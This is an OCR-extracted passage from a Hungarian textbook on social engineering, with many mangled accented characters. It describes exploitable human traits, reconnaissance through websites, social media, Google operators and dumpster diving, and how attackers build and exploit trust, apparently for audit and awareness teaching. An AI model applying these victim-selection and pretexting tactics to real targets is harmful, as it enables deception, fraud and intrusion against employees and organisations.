vagy megakadalyozni a Social Engineering tdmadast, igy a tamado elobb-utébb mindenképpen talal
egy megfeleld aldozatot. A mondas, miszerint minden lanc olyan erds, mint a leggyengébb lancszeme,
sajnos igaz, ¢s informacidbiztonsag terén ez a leggyengébb lancszem maga az ember, a felhasznalo.

Emellett meg kell jegyzeni, hogy napjaink tdmaddsai a tdmeges megkeresések iranyabol egyre
inkdbb elmozdulni latszanak a célzott megkeresések iranyaba, mely sikeres megvaldsitdsahoz elen-
gedhetetlen a cél-szervezet, illetve cél-rendszer sziikséges mértékben torténd megismerése, az ezek-
1ol valo eldzetes informaciogytijtés, melynek egyik eleme és segédeszkdze maga az emberi eréforras
lehet. (Megjegyzendd, hogy a human tényez0 a tomeges tamadasok eseténben is vonzd célpont, gon-
doljunk az adathaldszatra, vagy kéretlen levelek tomkelegére.)

S hogy miért is a felhasznéld, az ember a legkedvezébb célpont egy tdimado szdmara? Ahogyan az
alabbi abran szemléltetem, az emberi tényezo a legtobb védendo értékhez kdzvetleniil hozzaférhet,
ezaltal mint a biztonsag leggyengébb lancszeme, vonzd célpontta valhat egy tamado szemében.”

9. abra: Az emberi tényezo kapcsolata a védendo értékekkel

A felhasznalok azok, akik dolgoznak a hardver eszkozokkel, esetleg elvesztik, vagy felel6tlensé-
giiknek koszonhetéen konnyedén el lehet tulajdonitani téliikk azokat, de ugyantgy 6k dolgoznak a
kiilonféle szoftverekkel, alkalmazasokkal, melynek miikodését szivesen megmutatjak egy esetleges
tamadonak, vagy épp nemtérodom modon ,,leokézzak™ az el sem olvasott lizeneteket a felugrd abla-
kokban. Szintén az emberi tényezd fér hozza megfeleld jogosultsagai révén szenzitiv adatokhoz, egész
adatbazisokhoz, melyekben véletlentil, vagy akar befolyéasolas hatasara szandékosan is modosithat-
nak rekordokat. Ezek mellett nem szabad elfelejteni azt sem, hogy a munkavallalok ismerik azokat
a jelentéktelennek tiing belsé informacidkat (példaul szabadsagolasok, helyi szokasok, helyettesitési
rendek, folyamatok stb.), melyeket egy Social Engineeringgel kombinalt visszaélés esetén remekiil
fel lehet hasznalni egy tdmadéas megtervezéséhez és kivitelezéséhez, hiszen helyismeretet szerezve
mind az épliletben, mind a virtualis térben konnyebben kiigazodunk potencidlis tdmadoként. Nem
szabad megfeledkezni arr6l sem, hogy a munkavallalok tartjak a kapcsolatot mind egymassal, mind

8 QOroszi, 2011.
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kiilso felekkel (ligyfelek, partnerek, beszallitok stb.), mely akar telefonos, akar elektronikus kapcso-
lattartas esetén konnyedén kihasznalhaté egy social engineer éltal. Es talan a legfontosabb: az emberi
tényez6 rendelkezik rengeteg kihasznalhato tulajdonsaggal, melyet a social engineer beallitottsagu
tamadok ismernek és eldszeretettel ki is hasznalnak — nézziikk meg ezeket a kovetkezd alpontban.

1.2. A kihasznalhato emberi tulajdonsdagok ismertetése

Altaldban az emberek szamtalan olyan tulajdonsaggal rendelkeznek, melyeket egy tamadé kénnyen
ki tud hasznalni, ezek koz¢ a tulajdonsagok koz¢ tartozik a szakirodalom altal is sokat taglalt segito-
készség, mely az egyik legalapvetobb emberi tulajdonsag, amit a social engineerek szamtalan modon
ki tudnak hasznalni,” de hasonl6 kategoriat képez a kivancsisag, hiszékenység, naivsag, melyre kii-
l6ndsen adathalasz tamadasok és kartékony programok bekiildése soran lehet épiteni. A tdmadasok
soran épiteni lehet tovabba a felhasznalok figyelmetlenségére, hanyagsagara, illetve bizonyos érte-
lemben tudatlansagara is.
Ezeket a tulajdonsagokat négy kategoriaba lehet sorolni:

» Személyes tulajdonsagok: Ezek azok a legalapvetdbb tulajdonsdgok, amelyek minden em-
berben megvannak valamilyen szinten, és altaldban nagyon nehéz dket ,,levetkdzni”, nagyon
nehéz, sokszor nem is lehet rajtuk valtoztatni. Eléfordult a gyakorlati tapasztalat alapjan,
hogy valakinek példaul a segitOkészségét kihasznaltak, és ezt kovetden egy rovid ideig ke-
rilte ezt a magatartast, azonban az 1d6 multaval segitokészsége ismét a régi lett, ahogyan az
emlékek megkoptak.

* Munkahelyi tulajdonsagok: Ebbe a kategoriaba tartoznak azok a tulajdonsagok, melyek az
adott munkahelyhez, adott pozicidhoz kothetdek, tehat a személyes tulajdonsagokkal szemben
idénként valtoznak. Kiemelt példa, ha valaki 0 belépd a munkahelyen, vonzé célpont lehet
egy tdmado szamadra, hiszen valosziniileg az ,,ujonc” nem ismer még minden kollégat, és kony-
nyedén meg lehet téveszteni magunkat egy fontos vezetonek kiadva (amennyiben a személy
olyan alap tulajdonsagokkal is rendelkezik, mind példaul bizonytalansag, teljesitménykény-
szer, meggondolatlansag, hiszékenység, a timadas még nagyobb valosziniiséggel lesz sike-
res). Ez azonban csak egy atmeneti allapot, amint az 0j kolléga beilleszkedett, ezen megkere-
séses sikeres kivitelezésének valoszinlisége csokkent. Az ide tartozo tulajdonsdgoknak kozos
jellemzdje, hogy a munkahely, pozicid, feladatkor, projektek valtozasaval ezek is valtoznak.

» Pillanatnyi tulajdonsagok: A pillanatnyi tulajdonsagok olyan, rovid ideig fennallé tulajdon-
sagok, melyek szarmazhatnak a maganéletbdl, illetve a munkahelyi koriilmények is okozhat-
jak. Altaldban a kivaltd esemény megsziinésével ezek sem lesznek jelen, viszont amennyiben
a tamado ezek meglétét azonositani tudja, ki tud alakitani egy olyan szituacidt és tdmadasi
forgatokonyvet, mely bekdvetkezési valoszinlisége magasabb. Ilyen lehet példaul, ha timado-
keént tudjuk, a kiszemelt kolléga faradt, nem jar pontosan €s részletesen a hozza beérkezd ké-
réseknek, vagy épp, ha tudjuk, egy adott feladat miatt stresszes, kapkodd magatartast tanisit.

» Stresszhelyzet soran észlelheté tulajdonsagok: Ide olyan specialis pillanatnyi tulajdonsa-
gok tartoznak, melyek stresszhelyzetben, példaul egy tdmadas észlelése soran Iépnek fel.
Kiilon kategoriaként tlintettem fel dket, mert ezek nem egy tdmadas eldkészitését segitik,
hanem jellemzden a timadas észlelést koveto kivitelezését befolyasoljak. Példaul a tdimadast
¢szleld személy azonositja a gyanas eseményt, mondjuk, hogy az épiiletben szabadon jarkalo
személy nem visel kartyat és nincsen kisérdje, de inkdbb nem sz6l sem neki, sem a bizton-
sagi Oroknek, mert ,,nem akar belekeveredni” az ligybe, fél, hogy mi torténik, ha nincs igaza
(konfliktuskeriilés), vagy a gyanus linket megnyit6 felhaszndlo furcsasagot tapasztal, de bizik
benne, hogy mas ezt nem veszi észre, nem lesz nyoma.

7 Mitnick, 2003.
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Az ezen kategoriakban tartozé egy-egy legjellemzdobb példat az alabbi tablazat tartalmazza a tel-
jesség igénye nélkiil.®

1. tablazat: Emberi tulajdonsagok csoportositasanak egy lehetosége

Az el6z6 példakon tal Social Engineering auditok tapasztalatai alapjan kiemelném még a kivancsi-
sag pozitiv tulajdonsagat, melyre rengeteg, példaul fényképet igérd adathalasz tdmadast vagy nyere-
ményjatekkal kecsegtetd kartékony kod bekiildést lehet épiteni, vagy a nyitottsagot, esetleg kozdsségi
oldalak iranti rajongast, mely a potencialis célszemélyek felkutatdsaban hasznos tulajdonsag. Munka-
helyi tulajdonsagok koziil kedvelt Social Engineering tdmadas célpontok lehetnek azok a személyek,
akik napi rutin munkat végeznek (példaul ligyfélszolgalat, HelpDesk stb.), hiszen 6k sok esetben a
valdtlan kéréseket nem tudjdk kiszlirni, illetve azok a személyek, akik gyakran allnak kapcsolatban
ismeretlen személyekkel, vagy mas telephelyen dolgozd, csak telefonos és e-mail-es kapcsolattar-
tasbol ismert kollégakkal. Szintén a munkahelyhez kapcsolodoan érdemes két pillanatnyi ,,tulajdon-
sagot” kiemelni, azt a szitudcidt, amikor valaki szabadsagon vagy betegallomanyban van. Ebben az
esetben célszemély lehet az 6t helyettesitd fél (hiszen eldfordulhat, hogy a tdvollevé nem adott at
minden informaciot, és nem minden kéréssel zaklatja a nyarald, vagy beteg kollégat), vagy épp a
tavollevd munkatars is, aki betegen vagy a tengerparton feltételezhetéen gyorsan szeretne tillenni a
hozza beérkezo kérések teljesitésén, tovabbitasan.

Mindezen emberi tulajdonsagok ismerete azért kiemelten fontos, mert a timadasokat akkor lehet
megfelelden felépiteni, illetve sikeresen végrehajtani, ha ezekkel az informaciokkal is rendelkeziink a
célszemélyekrdl. A kovetkezOkben azt fogjuk megnézni, hogy hogyan épiilnek fel altalaban a Social
Engineering megkereséseket alkalmazé tdmadasok.

80 Teitold, Oroszi, 2014.
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1.3. Social engineering tamaddsok felepitése

A Social Engineering jellegli timadasok altalaban csak akkor hajthatoak végre sikeresen, ha a tdimado
megfeleld célszemélyt valasztott, illetve megfelelden eltervezte az atverést. Ennek érdekében még a
tamadas eldtt egy megfeleld forgatokonyvet kell készitenie. A szakirodalom szerint az emberi ténye-
z6t kihasznald tamadasok legtobb esetben egy négy 1épésbdl allo forgatokonyv szerint zajlanak,?!
mely informéciogytijtésbol, a kapcsolat kiépitésébdl, a kapcsolat kihasznalasabol és a tervezett tdma-
das végrehajtasabol all. Ezek kapcsolatat az alabbi dbra szemlélteti.

10. abra: Social Engineering tamadasok felépitése

Az informaciogytijtés fazisban, ahogy az alabbiakban ismertetésre keriil, a célszemélyrdl, illetve a
tamadashoz sziikséges ismeretekrol torténik informacidgyiijtés, példaul egy telefonos timadashoz a
potencidlis nevek, elérhetdségek, hivatkozasi alapok begylijtése. Ezt kdvetden a tdmado felveszi a
kapcsolatot a célszeméllyel, és a kapcsolat kiépitésének fazisdban csak ismerkedik vele, akar tobb
alkalommal is keresi telefonon az el6z6 példanal maradva, de csak jelentéktelen dolgokrdl cseveg
vele, annak érdekében, hogy a sokadik hivasra mar ,,ismerds” legyen. A kapcsolat kihasznalasa je-
lenti azt a telefonhivast, amikor a tdmadd megkérdezi az eredetileg megszerezni kivant informéaciot,
legyen az egy rendszer elérhetOsége, vagy akar egy jelsz6. Ezt kdvetden a megszerzett informaciok
birtokaban akar egy masik Social Engineering jellegli timadas, akar egy technologiai tamadas is
kivitelezhetd lesz az eredeti szandék fiiggvényében.

Fontos megjegyezni, hogy a gyakorlatban ezen 1épések 6ssze is mosodhatnak, példaul a kapcsolat
kiépitésével van, hogy a kapcsolat kihasznalasa is megtorténhet egyben, illetve a kapcsolat kihaszna-
lasa gyakorlatilag egy komplett timadas végrehajtasat is jelenti.

A kovetkezokben tekintsiik at ezen fazisok részletes ismertetését.

81 Harl, 1997.
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1.3.1. Informdcioszerzés

Barmilyen tamadasrol legyen is sz6, az elso és legfontosabb 1épés a megfeleld mindségi és elegendd
mennyiségli informacid osszegyiijtése, kiilondsen igaz ez a Social Engineering jellegi, illetve célzott
tamadasok esetében.® Mivel ez a fazis meglehetésen alapos munkat igényel, kiillondsen idéigényes,
az alkalmazott modszertdl fliggden akar tobb hétig, vagy akar honapokig is eltarthat. Fontos megje-
gyezni, hogy a Social Engineering jellegli megkeresések jelentds része elsdsorban informaciogytjtési
céllal torténik, igy ezen tdmadasok informaciogytijtési technikanak is mindsiilnek egyben.

Az informaciogyiijtés az a pont, ahol a legélesebb a hatarvonal egy valds tdmadas és egy audit vég-
rehajtasa kozott: mig egy potencidlis tAmado gyakorlatilag ,,végtelen” idével rendelkezik a tAmadas
elokészitésére, akar honapokat is szentelhet a megfeleld informaciok felkutatasanak, addig egy ilyen
vizsgalati projekten dolgoz6 szakértok altaldban egy meghatarozott idOkerettel rendelkeznek, azaz
ebbdl a szempontbol nem végezhetnek olyan alapos munkat, mint egy rosszindulati tdmado.

Tekintve, hogy egy tdmadas célpontja altalaban egy szervezet, kifejezetten Social Engineering ta-
madasi technikdk terén az aldbbi dbran szemléltetett modon kozelithetjiik meg az informacidgyjtést.

Els6 1épésként a célt kell pontosan meghatarozni, hogy mit szeretnénk a Social Engineering tdma-
dassal elérni, és donteni kell arrdl, hogy az az épiiletbe torténd bejutassal, és/vagy célszemély kiva-
lasztasaval és mas jellegli megtévesztéses technikaval torténjen.

Amennyiben a tdmadas végrehajtdsdhoz az épiiletbe torténd behatolas is sziikséges, informaciot
kell gytijteni a telephely(ek)rdl, az irodahazrol és kdzvetlen kornyezetérdl, valamint az alkalmazott
fizikai zonakrol és kapcsolddo biztonsagi intézkedésekrol.

Hacsak nem besurrandsos technikakat (lasd. 2. fejezet) szeretnénk alkalmazni, hanem célzottan
megkeresve egy felhasznaldt szeretnénk bejutni, vagy a tervezett timadashoz nem sziikséges az épii-
letben vald személyes jelenlét, mindenképpen informaciot kell gyiijteni a munkavallalokrol, mint
potencialis célszemélyekrdl is. Ennek megfelelden vizsgélni kell a lehetséges célpontok munkahelyi
kortilményeit (hozzaférnek-e példaul a szamunkra sziikséges adatokhoz, birtokolhatjak-e a megsze-
rezni kivant informaciokat stb.), valamint a személyes tulajdonséagaikat, esetleg maganéleti kortil-
ményeiket is. Ezek alapjan lehet kivalasztani az idedlis célszemélyeket, és a fentiek birtokaban lehet
meghatarozni a tervezett tamadas forgatokonyvét.

11. abra: Informaciogyiijtés egy Social Engineering tamaddas megtervezéséhez

82 Hadnagy, 2014.
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Megjegyzendo, hogy célzott timadasok esetében fontos 1épés lehet az alkalmazott informatikai rend-
szerek és védelmiik azonositasa, ezen informéciok megszerzése azonban jelen tananyagban nem spe-
cialis felderitd eszkozokkel, hanem Social Engineering modszerekkel, az emberi tényezot kihasznal-
va torténik, igy az nem keriilt szemléltetésre az abran.

A fent emlitett informacidk gytijtése — legyen sz6 akar valos tamadasrol, akar auditrol — torténhet
az interneten keresztiil, telefonos vagy személyes felkeresés sordn, levélben, vagy akar a célszemély
vagy vallalat szemetének atvizsgaldsaval. Az alabbiakban ezeket tekintjiik 4t részletesen.

1.3.2. Informadciok az internetrol

Manapsag az informéciok gytijtésének legegyszeribb és legelterjedtebb mddja az interneten valo
kutakodas. A keresgéléshez jo kiinduld pontot jelentenek a szervezeti honlap €s a kdzdsségi portalok,
de a Google keresdje is hasznos segitétarsnak bizonyul.*

1.3.2.1. Szervezeti honlap

A kiszemelt szervezet, illetve munkavallal6 megismerésének legkézenfekvobb modszere a szervezet
honlapjanak megtekintése. A vallalat vagy intézmény weboldalara ugyanis gyakran keriilnek fel infor-
maciodk az alkalmazottakrdl (példaul munkavallaloi lista, elérhetdség, onéletrajz stb.), de legalabbis a
vezetdségrol, legtobb esetben fényképekkel, e-mail cimekkel és telefonos elérhetdséggel. Néhany eset-
ben — helytelen gyakorlatként — szervezeti dbra, belsé telefonkonyv, aktualitdsok, allashirdetések, sot
bels6 szabalyzatok is megjelenhetnek nyilvdnosan az oldalon. Ezekbdl az adatokbol a tdimadd kdnnyen
kivalaszthatja azokat az alkalmazottakat, akik a szamara fontos informacidval rendelkezhetnek, illetve
a kovetkez6 pontokban bemutatott informaciogytijtési lehetéséggel kiegészitve azokat a munkatarsa-
kat is, akiket egy esetleges tamadas soran, ha a sziikség ugy kivanja, megszemélyesithetnek.

1.3.2.2. Kozosségi portalok

Napjainkban alig van ember, aki ne lenne regisztralva legaldbb egy kozdsségi portalon. Az emberek
tobbsége ezeket preferdlja kapcsolattartds, informacidmegosztés és -gylijtés céljabol, és a szervezetek
is eldszeretettel megjelennek marketing kampéanyokkal, nyereményjatékokkal ezeken a feliileteken
is. Meginterjivolva jopar felhasznalot, azt a kovetkeztetést vonhatjuk le, hogy az emberek nem csak
a gyors, azonnali reakci6 és kozdsségi tartalommegosztas miatt kedvelik ezeket az oldalakat, hanem
bizalmat is kelt benniik az ismerdsiik altal megosztott tartalom (,,valosziniileg a megoszto ellendrizte
annak hitelességét és biztonsagat™), vagy a kozds kapcsolatokkal rendelkez6 csoport, kedvelt oldal.
Ez a bizalom azonban sokszor hamis biztonsagérzet sziileménye.

A nagyobb, népszeriibb kozosségi oldalak (példaul: LinkedIn, Facebook stb.) nem megfeleld biz-
tonsagi beallitasokkal szintén remek kiinduldopontot jelentenek egy social engineernek, hiszen innen
gyljthetik be a legtobb személyes informaciot a célszemélyekrdl. Nemcsak elérhetségeket, szemé-
lyes informaciokat és ismeretségeket lehet begytiijteni a szocialis hal6zatok segitségével, hanem a
tamado akar jelszavak birtokaba is juthat — amennyiben a felhasznalo példaul valamelyik csaladtagja
nevét, sziiletési datumat, hazi kedvencének nevét stb. hasznalja jelszoként, és a tapasztalatok alapjan
még mindig sokan tesznek igy (jobb esetben csak a jelszo részeként hasznaljak azokat).

A profiljukon nagyon sokan feltiintetik, mit csinalnak, amikor dolgoznak, igy kénnyen beazono-
sithatova valik, mely teriileten is helyezkednek el, ,,milyen ligyben” érdemes felkeresnie oket egy
tamadonak. A kifejezetten szakmai portdlokon, mint péld4ul a LinkedIn, ez elengedhetetlen, de ott
is megjelenhetnek olyan felesleges tobbletinformaciok, mint példaul vallalati projektek felsoroldsa

8 QOroszi, 2011.
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¢és rovid leirasa, de volt mar példa a rendszergazda altal izemeltetett alkalmazasok tételes listajara
is. Nagyon fontos, hogy ezen adatok megadésat tiltani csak szabalyozas szintjén lehet, leghatéko-
nyabban csak a biztonsagtudatossagi szint ndovelésével lehet elkertiilni a felel6tlen tobbletinformacidk
nyilvanosan torténé megosztasat.

Szinte mindenki kit6lti azt a rublikat is, hogy mit csindl szivesen szabadidejében, kedvel és kovet
olyan oldalakat, melyek az érdeklddési korére utalnak — ezzel pedig konnyen egy célzott tamadas
aldozatava valhat, hiszen a tdmado birtokaba jut annak a tuddsnak, hogy mi érdekli a célszemélyt,
mivel tud hatni a kivancsisagara. Tovabb fokozza ezt a veszélyt az is, hogy tobb kozosségi portal
lehetdséget nyjt a kedvenc filmek, zenék, konyvek stb. felsorolasara is — ez egy sokkal kiélezettebb
tamadasra ad lehetdséget, illetve megintcsak segitséget jelenthet jelszavak kitalalasahoz.

A legtobb kozdsségi portalon lehetdségiink van kiilonféle csoportokhoz vald csatlakozasra. Ez
megint csak lehetdséget ad a tamadonak, hogy megismerkedjen az aldozatul valasztott felhasznalo
érdeklddési korével, esetleg ,,csoporttagként” felvegye vele a kapcsolatot. A tapasztalatok alapjan az
egy csoportba tartozo felhasznalok gyakorlatilag ismerdsként kezelik a veliik az ugyanazon csoportba
csatlakozokat, és Iényegesen jobban megbiznak az ezeken keresztiil érkez6 idegen megkeresésekben.

Megjegyzendd még, hogy nem csak maganszemélyek, hanem szervezetek is 1étrehozhatnak a ko-
z0sségi média feliileteken (példaul Facebook Pages, Twitter, YouTube stb.) sajat oldalakat, azon ke-
resztiil is megosztva informaciokat a kovetokkel, és a timadokkal egyarant.

De nem csak passziv informaciogytijtési célra lehet haszndlni ezeket az oldalakat, hanem aktiv
tamadasok végrehajtasara is, ezekrdl a Social Media Engineering a 2. fejezetben lesz szo6.

Mar évekkel azelott cikkeztek arrol, hogy felmérések szerint azoknal a cégeknél, ahol az alkal-
mazottak rendszeresen latogatnak kozosségi oldalakat, majdnem kétszer annyi biztonsagi incidens
torténik, mint ott, ahol az ilyen jellegli oldalak latogatasa nem engedélyezett.®

1.3.2.3. Google és tarsai

Természetesen lehetdségiink van az interneten talalhatd informaciok keresdmotorokkal valo felku-
tatasara is. Ebben legnagyszeriibb segiténknek — tamadoként is — a Google bizonyult, a Google ope-
ratorainak hasznélatdval ugyanis lehetdségilink van nagyon specializalt keresés inditasara is — ezt a
technikat nevezik Google Hacking-nek is. A Google operatorainak, mint példaul ,,intitle:” (a megadott
cimben keressen), ,filetype:” (adott tipust f3jlt keressen), ,,inurl:” (adott weboldalon keressen), ,,-”” (ne
tartalmazza az adott kifejezést) stb. hasznalataval akar olyan, véletleniil a nyilvanossag elott felejtett
fajlok és oldalak kutathatok fel, amelyek hasznos informéciokat jelenthetnek egy tdmadonak. Ezek
hasznalatarél — mivel ez akar egy kiilon tankonyvi fejezetet is megtolthetne — itt talalhato bévebb in-
formacid: http://www.googleguide.com/advanced operators.html (utolsé letoltés: 2018.03.14.), s6t a
Google hasznalatarol kiilon konyv is kiadasra keriilt Google Hacking for penetration testers cimmel.®

Az operatorok alkalmazéasaval a keresé kivaloan alkalmazhatd példaul bels6 hasznalatra szant
anyagok, szabalyzatok, szervezeti abrak, bérjegyzékek, belsd telefonkdnyvek, dolgozoi 6néletrajzok
keresésére, de talalhatunk akar jelszo-fajlokat, vagy rendszerekkel kapcsolatos informécidkat is, vagy
rabukkanhatunk szamunkra érdekes informaciokat tartalmaz6 blogokra is.

Ha régebbi, mar eltavolitott oldalrol szeretnénk informéciot gylijteni, a Wayback Machine oldalat
(http://www.wayback.com) tudjuk hasznalni, melyen beallithatjuk, hogy melyik weboldal, mikor ar-
chivalasat szeretnénk megtekinteni.

Amennyiben a célunk kifejezetten felhasznalonevek azonositasa, a https://www.namecheck.com
¢s https://namechk.com oldalakat tudjuk hatékonyan hasznalni. (Elsésorban akkor lehet érdekes, ha
egy ismert felhasznalonevet meg szeretnénk nézni, hogy hol rendelkezik még felhasznaloi fiokokkal,
ezaltal is tobbletinformaciot szerezve rola.)

8 http://gazdasagiradio.hu/cikk/8566/ (utolso letdltés: 2008.11.20.)
8 Long, 2005.
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1.3.3. Informdcioszerzés telefonon keresztiil

Bar az interneten majdnem minden fellelhetd, el6fordulhat, hogy olyan informacioéra van sziiksége a
tamadonak, melyet ott mégsem taldl meg, vagy esetleg az el6bbi mdédon beszerzett informacidok nem
elegenddek a tervezett tamadas kivitelezéséhez. Ekkor a legkézenfekvobb megoldasnak egy telefo-
nos megkeresés bizonyul. Az elézetesen Gsszegyiijtott informaciok birtokaban a tamado felhivhatja
az iigyfél munkatarsat, €s a vallalat ligyfelének vagy partnercég alkalmazottjanak, esetleg ha a cég
méretei lehetvé teszik, akkor az adott cég egy masik részlegén dolgoz6 munkatarsnak kiadva magat
rakérdezhet a hidnyz6 informaciokra. [lyen mddon tajékozddhat tipikusan az adott teriileten illetékes
kollégak kilétérdl, elérhetdségiikrdl, esetleg szabadsagolasukrol, de akar belsd folyamatok, felada-
tok végrehajtasanak megismerése is célkitiizés lehet. A telefonos tdmadasok részleteit a 2. fejezet
tartalmazza.

1.3.4. Informadcioszerzés levélben, e-mail-en keresztiil

A levélben valo megkeresés soran kézenfekvd, ha a timado a szervezet egy vagy tobb alkalmazott-
javal valamilyen kérddivet toltet ki, melynek kérdései kozé gyanutlanul belecsempészi a szamara
fontos informaciokra iranyul6 kérdéseket. Ez lehet postai uton kikiildott levél, de sokkal gyorsabb
¢és kényelmesebb, valamint sokkal nehezebben lekdvethetd €s ezaltal timadoként biztonsagosabb az
e-mail-en keresztiili kommunikacio.

A kérddivezés soran a tdmado elsdsorban személyes adatokra, érdeklddési korre tehet a tdimado
szert, melyeket késobbi célzott tamadés sordn felhasznalhat, illetve melyek segitségére lehetnek az
aldozattal val6 ,,k6z06s hang” megtalalasdban. De akér olyan eset is el6fordulhat, hogy a social engi-
neer egy céliranyos levelet kiild a cég alkalmazottainak példaul a munkahelyiikkel valo elégedettség
mérésével kapcsolatban — igy konnyen megtudhatjuk, kik azok a munkavallalok, akik elégedetlenek,
s ezaltal nagyobb esély van ra, hogy lefizethetoek, megvesztegethetoek.

Jogosan mertilhet fel benniink a kérdés, hogy hogyan lehet személyes adatokat megszerezni kér-
déiv-toltetéskor, hiszen ezek altalaban név nélkiil zajlanak, legtobb esetben soha nem kotelezik az
embert személyes adatok megadasara. Mindenre van azonban megoldas: kisebb ajandékkal, nye-
reményjatékkal, személyes kapcsolatfelvétel igéretével konnyen ré lehet venni a kit6ltét, hogy adja
meg nevét, elérhetdségét is.

1.3.5. Személyes felkeresés

Bar Kevin Mitnick szerint az dldozat személyes felkeresése kell, hogy legyen a legutolsd, amit el-
kovet a tamado, hiszen a lebukas kockazata ekkor a legmagasabb, azonban néha eléfordul, hogy a
tamadonak személyesen (is) fel kell keresnie a célszemélyt az informaciok megszerzése végett.®
Az irodaban val6 korbenézés soran ugyanis szamos, késobb felhasznalhatod informaciot lehet talalni,
mint példaul szervezeti dbrat, naptarbejegyzéseket, szabadsagolasokat, belsd leveleket, szerzddése-
ket, szamlédkat és egyéb dokumentumokat, nem is beszélve a monitorra ragasztott, jelszavakat tartal-
mazo cetlikrdl, illetve a 2. fejezetben ismertetett Shoulder surfing technikéra is lehetdség nyilik.

Mivel a személyes felkeresés tulajdonképpen egy megszemélyesitéses timadas, a timado sokféle
ember ,,bOrébe bujhat”, lehet egy masik részleg munkatarsa, ligyfél, partnercég alkalmazottja, futar,
karbantarto vagy szereld, hatdsagi személy, vagy egyszeriien egy, a szakdolgozatahoz segitséget kérd
egyetemista is. Azt, hogy a social engineer épp melyik szerepet valasztja, elsdsorban az elérend6 cél
hatarozza meg. Ezen modszerekrdl részletesebben a szintén a késdbbiekben olvashatunk.

8 Mitnick, 2003.
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1.3.6. Informdaciok a szemetesbol

A 2. fejezetben ismertetésre keriild6 Dumpster Diving, vagyis a hulladék-atvizsgalas tipikusan egy
olyan tevékenység, melynek célja belsé informécidk keresgélése az irodai szemétben. Bar a legtobb
vallalat rendelkezik iratmegsemmisitvel a leselejtezett bizalmas dokumentumok olvashatatlanna té-
tele végett, a tapasztalatok szerint mégis gyakori jelenség, hogy belsé levelek, szerzédések, jelenléti
¢s szabadsagolasi ivek, pénziigyi jelentések €és szamtalan mas, egy masik tdmadas soran haszno-
sithato, bizalmasnak mindsiilé anyag végzi a kommunalis hulladék kozott. Ha mégsem ez lenne a
gyakorlat, akkor is gyakran tapasztalt eljaras, hogy a nagy mennyiségli megsemmisitendo iratokat tu-
lajdonosa egyszeriien csak a berendezés mellett elhelyezett gytijt6 ladaba helyezi el, mondvan valaki
majd ledaralja — s megkonnyitve egyuttal egy lehetséges tdmado dolgat is. Hasonld probléma meriil
fel a szelektiv hulladékgytijtéssel kapcsolatban is: a tamado igy céliranyosan tudja megkozeliteni a
tarolot, s még csak az ételmaradékok kozott sem kell turkdlnia...

1.4. Kapcsolat kiépitése

Az el6z0 alfejezet szerint 6sszegyljtott, megfeleld informacidk birtokaban kovetkezhet a kihaszna-
lando célszemély kivalasztasa és a vele vald kapcsolat kiépitése. A kapcsolatfelvétel torténhet telefo-
non, e-mail-ben, kozosségi portalon stb. keresztiil, vagy ritkabb esetben akar személyesen is — utdbbi
bar Social Engineering auditok tapasztalatai szerint elég népszeri vizsgalati pont, a technikat a valo
¢letben alkalmazok elsdsorban nem a személyes jelenlétet preferaljak inkabb.®’

Ezen fazis célja, hogy valamilyen modon az aldozat kozelébe férkdzzon a tamado, megismerje, és
megismertesse az altala kivant szinten magat, elokészitse a késobbi ,,furcsa’ kérését, kérdését, ndvel-
ve a célszemélyben a bizalmat.

Legegyszerlibb, ha a timadé valamilyen segitséget kér a célszemélytdl, vagy ennek forditottja is
megtorténhet, amikor 6 segédkezik egy probléma megoldasaban. Célravezetd lehet valamilyen apro
figyelmesség, kedvezményre feljogositas, esetleg valamilyen ,,bizalmas” informacié megosztdsa a
kiszemelttel — mindennek pusztan az a célja, hogy a kapcsolatot kiépitse, az esetleges gyanut elosz-
lassa, sOt a tdmado akar igy el is nyerheti az dldozata maximalis bizalmat. Ha ezt sikeriilt elérnie,
tovabb léphet a kovetkezd fazisba, vagyis sajat céljainak elérésére fordithatja az Gjonnan kiépitett
kapcsolatot.

1.5. A kapcsolat kihasznalasa

A bizalomépités utan el6bb-utdbb elérkezik annak az ideje, amikor a tamado ,,szorul” segitségre. Az
esetek tobbségében a social engineer egyszerii szivességet kérhet aldozatatol, példaul megkérheti egy
bizalmas anyag kinyomtatasara, segitséget kérhet belsé bizalmas anyagok eléréséhez, de akar ravehe-
ti arra is aldozatat, hogy t6ltson le €s futtasson le egy programot, sot akar a sajat felhasznalonevével
¢s jelszavaval jelentkezzen be (esetleg adja meg azt) a szamitdgépes rendszerbe.

Természetesen elképzelhetd, hogy a forgatdkonyv egyes 1€pései 6sszemosddnak, s igy a kapcso-
lat kihaszndlasaval egyidOben a valos tamadas is megtorténik. Mindenesetre, ha ebben a fazisban
még nem tortént volna karokozas, a kapcsolat kihasznalasakor megszerzett informaciokkal, doku-
mentumokkal vagy épp eszkozokkel (példaul kulcs) a tdimado kozelebb kertilt az eredeti cél végre-
hajtasdhoz.

8 Mitnick, 2003.
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1.6. A tervezett tamadas végrehajtasa

Az eredetileg tervezett timadas lehet akar egy masik Social Engineering jellegii megkeresés, vagy
akar egy technologiai tamadas, behatolas is. Ha az el6z6 pontban a timadd még nem érte volna el
a céljat, akkor a megszerzett informaciok és eszkdzok birtokdban most lehetdsége nyilik az eredeti-
leg tervezett, célzott karokozas végrehajtasara. A cél barmi lehet, példaul a megszerzett felhasznalo-
név-jelszo paros birtokdban bejelentkezhet a rendszerbe, és modosithat vagy torolhet fajlokat, esetleg
a ,.kollégaval” kinyomtattatott bizalmas dokumentumot nyilvanossagra hozhatja. Mindezeknek nagy
valdszinliséggel valamilyen modon nemkivant hatdsa lesz az adott szervezetre nézve (anyagi kar,
johirnév-vesztés, torvényi kotelezettségnek vald elégtétel elmulasztasa stb.).

1.7. Social engineering tamaddsok csoportositasa

Aszerint, hogy a Social Engineering megkeresések milyen eszk6zon, modszeren keresztiil kozelitik
meg a felhasznal6t, az ilyen jellegli tdmadasi technikdk két nagy csoportba sorolhatok: egyik kate-
goriat képezi a humén alapti mddszerek gytijteménye, masikat pedig a szamitégép alapt technikak
halmaza.®®

Megjegyzendd, hogy vannak mas csoportositasi lehetdségek is, Watson, Mason és Ackroyd Social
Engineering auditokat bemutatd konyvében harom tdmadasi format kiilonboztetnek meg: elektroni-
kus levelezésen keresztiili, telefonon keresztiili, illetve fizikai Social Engineering technikakat.® Jelen
tananyagban azonban a Guenther altalal bemutatott kettds bontéassal foglalkozunk.

Ugyan a kordbbiakban tobben ugy vélték, Social Engineering cimen csak azok a timadasi techni-
kak érthetdk, melyek kizardlag tisztan az emberi tényez0 megtévesztésén alapulnak és a tamado nem
hasznal semmilyen informatikai eszkozt, ahogyan a bevezetdben a Kevin Mitnick idézet is tanusitja,
